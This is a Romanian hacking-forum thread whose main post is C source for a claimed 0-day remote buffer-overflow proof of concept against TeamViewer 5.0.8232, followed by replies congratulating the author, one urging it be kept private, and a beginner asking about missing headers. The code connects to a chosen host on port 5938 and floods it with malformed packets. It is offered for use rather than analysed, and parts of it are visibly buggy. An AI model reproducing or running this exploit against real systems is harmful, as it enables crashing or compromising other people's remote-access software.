Jump to content
begood

[0-day] TeamViewer 5.0.8232 Remote BOF PoC

Recommended Posts

#include<stdio.h>#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "
[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "
[*]fl0 fl0w"

typedef int i32;
typedef char i8;
typedef short i16;
enum {
True=1,
False=0,
Error=-1
};
struct linger ling = {1,1};
i8* host;
i16 port;
i32 ver1,ver2,slen;
void syntax(){
i8 *help[]={"\t-h hostname",
"\t-p port(default 5938)",
};
i32 i;
size_t com=sizeof help / sizeof help[0];
for(i=0;i<com;i++){
printf("%s\n",help[i]);
}
}
i32 arguments(i32 argc,i8** argv){
i32 i;
argc--;
for(i=1;i<argc;i++){
switch(argv[i][1]){
case'h':
host=argv[++i];
break;
case'p':
port=atoi(argv[++i]);
break;
default:{
printf("error with argument nr %d:(%s)\n",i,argv[i]);
return Error;
exit(0);
}
}
}
}
i32 main(i32 argc,i8** argv){
if(argc<2){
printf("%s\n%s\n",POCNAME,AUTHOR);
printf("\tToo few arguments\n syntax is:\n");
syntax();
exit(0);
}
arguments(argc,argv);
i32 sok,i,
svcon,
sokaddr;

i8 *sendbytes=ALOC(i8,32768),
*recevbytes=ALOC(i8,5548);
printf("
[*]Starting \n \t...\n");
struct sockaddr_in sockaddr_sok;
sokaddr = sizeof(sockaddr_sok);
sockaddr_sok.sin_family = AF_INET;
sockaddr_sok.sin_addr.s_addr = inet_addr(host);
sockaddr_sok.sin_port = htons(port);
sok=socket(AF_INET,SOCK_STREAM,0);
if(sok==-1){
printf("
[*]FAILED SOCKET\n");
exit(0);
}
if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
printf("Error with connection\n");
shutdown(sok,1);
exit(0);
}
if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
printf("Error setting the socket\n");
shutdown(sok,1);
exit(0);
}
if(recv(sok,&ver1,1,0)!=1)
exit(0);
if(recv(sok, &ver2,1,0)!=1)
exit(0);
memset(sendbytes,0,250);
recv(sok,recevbytes,sizeof(recevbytes),0);
for(i=0;;i++) {
if(!(i & 15)) printf("%d\r", i);
sendbytes[0] = ver1;
sendbytes[1] = ver2;
sendbytes[2] = (i & 1) ? 15 : 21;
*(i16 *)(sendbytes + 3) = slen;
if(send(sok, sendbytes, 5, 0) != 5) break;

if(slen) {
memset(sendbytes, i, slen);
if(send(sok, sendbytes, slen, 0) != slen) break;
}
}
shutdown(sok,1);
return 0;
}

bravo pentru fl0 fl0w !

la cat mai multe !

Link to comment
Share on other sites

Si asa multi kinderz voiau ceva pentru TeamViewer. Oricum felicitari lui fl0 fl0w, si bineinteles, mai ales ca este 0-day (pentru public cel putin)... keep it priv8.

//

e public.

stiu, dar ma refeream sa nu ajunga pe mana kinderilor desi odata facut public slabe sanse

Link to comment
Share on other sites

Nu am mai lucrat pana acum cu C si nici C++.Imi zice ca nu gaseste librariile

#include<sys/types.h>

#include<sys/socket.h>

#include<netinet/in.h>

#include<unistd.h>

Le are de obicei C-ul sau trebuie downloadate separat?

nu stiu...poate sunt intrebari de nestiutor...dar as vrea sa invat un pic de C

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...